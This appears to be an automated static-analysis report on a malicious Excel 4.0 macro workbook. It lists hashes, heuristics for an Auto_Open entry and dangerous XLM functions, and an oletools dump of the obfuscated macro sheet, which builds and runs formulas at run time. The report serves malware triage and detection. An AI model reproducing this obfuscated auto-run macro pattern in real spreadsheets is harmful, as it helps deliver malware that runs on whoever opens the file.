Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2da46d7798a5be77…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:33:40 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 416755b8791231f370a4ad439488fc8b SHA-1: 1493fbc0016dc914ae5e2151dc51025121ea1aac SHA-256: 2da46d7798a5be778a5c760c6991ce7621bd90c08b01014a0bca70f70276413a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6604 bytes
SHA-256: 313e4128bbe7d1f719861d558ddf9245a6a2f0f16221ebe0fadee0bfc4787485
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DTRNRoyUSO
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G144 
' 0018     23 LABEL : Cell Value, String Constant - DCxOnxjx len=0 
' 0018     27 LABEL : Cell Value, String Constant - ERYKSkpOMQCE len=0 
' 0018     25 LABEL : Cell Value, String Constant - fLiCbUMKLP len=0 
' 0018     20 LABEL : Cell Value, String Constant - JuHCz len=0 
' 0018     24 LABEL : Cell Value, String Constant - MPydLvOtB len=0 
' 0018     20 LABEL : Cell Value, String Constant - NLhmq len=0 
' 0018     24 LABEL : Cell Value, String Constant - nPKZzojDA len=0 
' 0018     26 LABEL : Cell Value, String Constant - plTMoDcyEKn len=0 
' 0018     20 LABEL : Cell Value, String Constant - SDtqW len=0 
' 0018     25 LABEL : Cell Value, String Constant - SJdUVljNrQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - unAHJXAT len=0 
' 0018     25 LABEL : Cell Value, String Constant - VSPMxZLghm len=0 
' 0018     26 LABEL : Cell Value, String Constant - wubmWIaXIXp len=0 
' 0018     20 LABEL : Cell Value, String Constant - WUyxI len=0 
' 0018     21 LABEL : Cell Value, String Constant - xGYHog len=0 
' 0018     25 LABEL : Cell Value, String Constant - XqPMMdWnfh len=0 
' 0018     26 LABEL : Cell Value, String Constant - yjiOuzGqpfb len=0 
' 0018     27 LABEL : Cell Value, String Constant - ymZyUpWmjkAQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - yVMJpZImQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZHjRQwRKF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DTRNRoyUSO,G51,"SET.NAME("nPKZzojDA",VALUE("0"))",""
'  DTRNRoyUSO,G53,"SET.NAME("JuHCz",nPKZzojDA)",""
'  DTRNRoyUSO,G55,"SET.NAME("VSPMxZLghm",nPKZzojDA)",""
'  DTRNRoyUSO,G58,"SET.NAME("ERYKSkpOMQCE",COUNTA(SDtqW))",""
'  DTRNRoyUSO,G63,"SET.NAME("yVMJpZImQ",COUNTA(ZHjRQwRKF))",""
'  DTRNRoyUSO,G67,[],""
'  DTRNRoyUSO,G70,"SET.NAME("unAHJXAT","")",""
'  DTRNRoyUSO,G72,"JuHCz",""
'  DTRNRoyUSO,G75,"SET.NAME("plTMoDcyEKn",HLOOKUP("*",SDtqW,JuHCz,FALSE))",""
'  DTRNRoyUSO,G77,"ymZyUpWmjkAQ",""
'  DTRNRoyUSO,G81,"SET.NAME("MPydLvOtB",nPKZzojDA)",""
'  DTRNRoyUSO,G85,[],""
'  DTRNRoyUSO,G88,"MPydLvOtB",""
'  DTRNRoyUSO,G92,"fLiCbUMKLP",""
'  DTRNRoyUSO,G97,"WUyxI",""
'  DTRNRoyUSO,G101,"SJdUVljNrQ",""
'  DTRNRoyUSO,G105,"SET.NAME("xGYHog",VALUE(HLOOKUP("*",ZHjRQwRKF,SJdUVljNrQ,FALSE)))",""
'  DTRNRoyUSO,G110,"yjiOuzGqpfb",""
'  DTRNRoyUSO,G115,"unAHJXAT",""
'  DTRNRoyUSO,G118,"VSPMxZLghm",""
'  DTRNRoyUSO,G122,NEXT(),""
'  DTRNRoyUSO,G126,"NLhmq",""
'  DTRNRoyUSO,G130,"SET.NAME("f",INT(T(FORMULA(T(unAHJXAT)&"",""&T(NLhmq)))))",""
'  DTRNRoyUSO,G133,"wubmWIaXIXp",""
'  DTRNRoyUSO,G138,NEXT(),""
'  DTRNRoyUSO,G140,RETURN(),""
'  DTRNRoyUSO,G170,"SET.NAME("DCxOnxjx",G51)",""
'  DTRNRoyUSO,G173,"SDtqW",""
'  DTRNRoyUSO,G177,"SET.NAME("ZHjRQwRKF",R97C15)",""
'  DTRNRoyUSO,G179,"SET.NAME("wubmWIaXIXp",188)",""
'  DTRNRoyUSO,G184,"SET.NAME("XqPMMdWnfh",7)",""
'  DTRNRoyUSO,G187,DCxOnxjx(),""
'  DTRNRoyUSO,G188,HALT(),""